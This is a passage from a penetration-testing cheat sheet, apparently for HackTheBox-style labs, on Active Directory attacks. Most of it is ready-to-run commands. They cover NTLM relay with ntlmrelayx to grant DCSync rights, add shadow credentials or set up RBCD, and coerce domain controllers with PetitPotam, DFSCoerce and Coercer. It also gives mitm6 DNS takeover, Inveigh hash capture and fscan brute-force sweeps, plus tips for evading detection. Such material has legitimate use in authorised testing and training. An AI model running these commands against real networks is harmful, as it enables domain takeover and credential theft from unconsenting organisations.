relay.txt -smb2support -socks # queue sessions, use via proxychains 1010 1011 # LDAP relay → escalate the victim (auto-adds DCSync rights), or dump the good stuff 1012 ntlmrelayx.py -t ldap://$DC -smb2support --escalate-user "$U" # grants low_user Repl-Get-Changes-All 1013 ntlmrelayx.py -t ldaps://$DC -smb2support --dump-adcs --dump-laps # cert templates + LAPS in one pass 1014 ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$' 1015 ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access # RBCD onto the relayed machine 1016 ``` 1017 > [!tip] Coerce instead of wait 1018 > Don't sit hoping someone browses a bad name — **force** a machine (often the DC) to auth to you, then relay it. All of these feed the ntlmrelayx lines above: 1019 > ```bash 1020 > python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC # MS-EFSRPC (unauth variant on unpatched) 1021 > printerbug.py "$DOMAIN"/"$U":"$P"@$DC $LHOST # MS-RPRN spooler 1022 > dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC # MS-DFSNM (works on patched-PetitPotam DCs) 1023 > coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC # all-in-one, tries every method 1024 > ``` 1025 > Coerced DC auth relayed to **LDAPS → RBCD/DCSync**, or to **ADCS ESC8** ([Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse)), is a full domain takeover from one low-priv account. Deep dives: 🔴 Attack · 🔷 Attack. 1026 1027 **mitm6** — IPv6 DHCPv6 takeover → LDAP relay (beats Responder in hardened nets; [mitm6](https://github.com/dirkjanm/mitm6)) 1028 ```bash 1029 # Terminal 1: become the network's IPv6 DNS. Fires on every boot — no LLMNR needed. 1030 sudo mitm6 -d "$DOMAIN" --no-ra 1031 # Terminal 2: relay the WPAD auth to LDAPS and grant RBCD. -6 and -wh are MANDATORY. 1032 ntlmrelayx.py -6 -t ldaps://$DC -wh fakewpad.$DOMAIN -smb2support --delegate-access 1033 ``` 1034 > [!warning] Watch out 1035 > mitm6 without `-6` (IPv6 mode) and `-wh <wpad-host>` on ntlmrelayx will **silently catch nothing** — the IPv6 WPAD auth never gets relayed. mitm6 is loud (poisons the whole segment's DNS) and time-boxed — run it, catch a boot/logon, kill it. Deep dive: 🔴 Attack. 1036 1037 --- 1038 1039 ### 🔁 NTLM & Kerberos Relay — full target/technique matrix 1040 1041 Beyond the basic relay block: the decision matrix for *where* a captured/coerced auth can go, and the escalation modes of `ntlmrelayx`. Deep dive: NTLM-Kerberos-Relay-Cheatsheet. 1042 1043 **When relay works — pick the sink by what's not hardened** 1044 1045 | Target service | Relayable when | Payoff | 1046 | :-- | :-- | :-- | 1047 | SMB | signing **not required** | SAM dump, `-c` exec, `-i`/`-socks` session | 1048 | LDAP / LDAPS | signing / channel-binding gaps | `--escalate-user` (DCSync), `--shadow-credentials`, `--delegate-access` (RBCD) | 1049 | HTTP (ADCS web-enroll) | no EPA/CBT | `--adcs` → DC/user cert = domain (ESC8) | 1050 1051 ```bash 1052 nxc smb $IP/24 --gen-relay-list relay.txt # signing:False hosts only — blind -t against signed SMB wastes coerces 1053 ``` 1054 1055 **Escalation modes (LDAP/LDAPS sink)** 1056 ```bash 1057 ntlmrelayx.py -tf relay.txt -smb2support -socks # queue sessions → proxychains after 1058 ntlmrelayx.py -t ldaps://$DC -smb2support --escalate-user "$U" # auto-adds Repl-Get-Changes-All → DCSync 1059 ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$' 1060 ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access # RBCD onto the relayed machine account 1061 ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController 1062 ``` 1063 1064 > [!warning] Watch out 1065 > - **Port clash:** Responder and `ntlmrelayx` both grab 445/80 — either disable `SMB`/`HTTP` in `Responder.conf` or run `ntlmrelayx --no-smb-server`. 1066 > - **Kerberos-only / NTLM disabled** → relay is dead. Pivot to RBCD / ADCS / ticket abuse (STAGE 5–7). But LLMNR poisoning still yields NetNTLMv2 for `hashcat -m 5600` even when signing blocks the relay. 1067 > - Some LDAP modes one-shot the session — use `--keep-relaying` or re-coerce. Guard the `-socks` port; it's a reusable pivot. 1068 > - Captured hashes go to [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) for cracking; successful relay chains continue in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 1069 1070 --- 1071 1072 ### 🎯 Coercion Toolbox — which RPC bug when 1073 1074 **What to look for** → a DC or server you can *force* to authenticate to your listener (`rpcdump.py $IP` shows which interfaces exist). Each method abuses a different RPC interface with different patch status and filtering. MITRE [T1187 Forced Authentication](https://attack.mitre.org/techniques/T1187/). 1075 1076 > [!tools] Stage this 1077 > [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc)) 1078 1079 **Method selection:** 1080 1081 | Method | Interface | Works when | Link | 1082 | :-- | :-- | :-- | :-- | 1083 | PetitPotam | MS-EFSRPC | Unpatched = **unauthenticated** DC coerce; patched still works with any domain cred unless EFS RPC filters applied | [topotam/PetitPotam](https://github.com/topotam/PetitPotam) | 1084 | PrinterBug / SpoolSample | MS-RPRN | Spooler service running (usually workstations; check `rpcdump \| grep spoolsv`) | [leechristensen/SpoolSample](https://github.com/leechristensen/SpoolSample) | 1085 | DFSCoerce | MS-DFSNM | DFS Namespace service — the classic fallback when PetitPotam is patched | [Wh04m1001/DFSCoerce](https://github.com/Wh04m1001/DFSCoerce) | 1086 | ShadowCoerce | MS-FSRVP | File Server VSS agent enabled (rarer, but unpatched on many servers) | [ShutdownRepo/ShadowCoerce](https://github.com/ShutdownRepo/ShadowCoerce) | 1087 | Coercer | all of the above | one tool tries every method & protocol path | [p0dalirius/Coercer](https://github.com/p0dalirius/Coercer) | 1088 1089 ```bash 1090 # staged target (listener $LHOST, coerce $DC): 1091 python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC 1092 python3 PetitPotam.py $LHOST $DC # unauth attempt on pre-patch DCs 1093 dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC 1094 shadowcoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC 1095 coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC # try everything 1096 coercer scan -u "$U" -p "$P" -d "$DOMAIN" -t $DC # scan-only: which methods answer 1097 ``` 1098 1099 **OPSEC / pitfalls:** 1100 > [!warning] Watch out 1101 > - Start `ntlmrelayx` (or Responder in capture-only) **before** coercing — a coerce with no listener wastes the attempt and still logs. 1102 > - Server 2022+ and patched 2016/2019 block unauthenticated PetitPotam; **any domain cred** revives most methods unless RPC interface filters (e.g., the EFS filters Microsoft recommends) are deployed. 1103 > - WebClient (WebDAV) service on the coerced host = HTTP coerce → relays to ADCS/ESC8 ([Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse)). Check with `nxc smb $IP -u "$U" -p "$P" -M webdav`. 1104 > - Coercion generates **4624 type 3** from the target machine account to your box and **4769** service-ticket requests downstream — on monitored nets, one coerced DC auth is a high-severity alert. 1105 1106 --- 1107 1108 ### 🪟 Inveigh — poison from *inside* a Windows foothold 1109 1110 **What to look for** → you have a shell on an internal Windows host but your Linux attack box can't reach that broadcast domain. Inveigh is the Windows-native Responder — poison LLMNR/NBT-NS/mDNS from the compromised host itself and capture NetNTLMv2 from the internal position. ([Inveigh](https://github.com/Kevin-Robertson/Inveigh)) 1111 1112 > [!tools] Stage this 1113 > [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/Inveigh.ps1.sha256.asc)) 1114 1115 ```powershell 1116 # PowerShell build — capture on the internal segment 1117 Import-Module .\Inveigh.ps1 1118 Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -LLMNR Y 1119 # useful knobs: 1120 # -IP <ip> bind a specific interface 1121 # -FileOutput Y write hashes/cleartext to files 1122 # -HTTPreply custom HTTP bait response 1123 Get-Inveigh # view captured hashes/creds so far 1124 Stop-Inveigh # clean shutdown 1125 # hashes → crack on the Linux box with hashcat -m 5600 (STAGE 8), or relay if you can route it 1126 ``` 1127 > [!tip] This complements the Responder/mitm6/ntlmrelayx block, which only poisons from *your* interface. Deep dive: 8 - Post-Exploitation & Pillaging. 1128 1129 > [!warning] Watch out Inveigh needs local admin (raw sockets) and is signatured — prefer `Invoke-Inveigh` in-memory via your C2's `powershell-import` equivalent over touching disk. LLMNR spoofing from a workstation is exactly what Defender for Identity watches for. 1130 1131 --- 1132 1133 ### 🧹 Internal Sweep from a Foothold — fscan 1134 1135 **What to look for** → you've landed on one internal host and need the whole segment mapped *fast*: live hosts, open services, web titles, weak SMB/SSH/MSSQL/Redis creds, MS17-010, and brute-able services — in one Windows-native binary. ([fscan](https://github.com/shadow1ng/fscan)) 1136 1137 > [!tools] Stage this 1138 > [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc)) 1139 1140 ```powershell 1141 # full default sweep of the segment (ports, services, web titles, weak creds) 1142 .\fscan_windows_x64.exe -h 192.168.1.0/24 1143 # fast host discovery + top ports only 1144 .\fscan_windows_x64.exe -h 192.168.1.0/24 -np -p 21,22,80,445,1433,3306,3389,5985,6379 1145 # skip ping (noisy ICMP), skip brute, just enumerate 1146 .\fscan_windows_x64.exe -h 192.168.1.0/24 -np -nobr 1147 # output to file for exfil 1148 .\fscan_windows_x64.exe -h 192.168.1.0/24 -o result.txt 1149 ``` 1150 1151 > [!warning] Watch out fscan is an *all-in-one* — its default run includes brute-force modules that will hammer lockout thresholds and light up every IDS on the segment. On monitored networks always run `-np -nobr` first, then target modules (`-m smb`, `-m ms17010`) at specific hosts. Results feed target selection for [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 1152 1153 --- 1154 1155 > [!navigation] Continue the attack flow 1156 > **Previous:** [Foothold Toolkit — Shells, Payloads, and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) 1157 > 1158 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 1159 > 1160 > **Next:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration)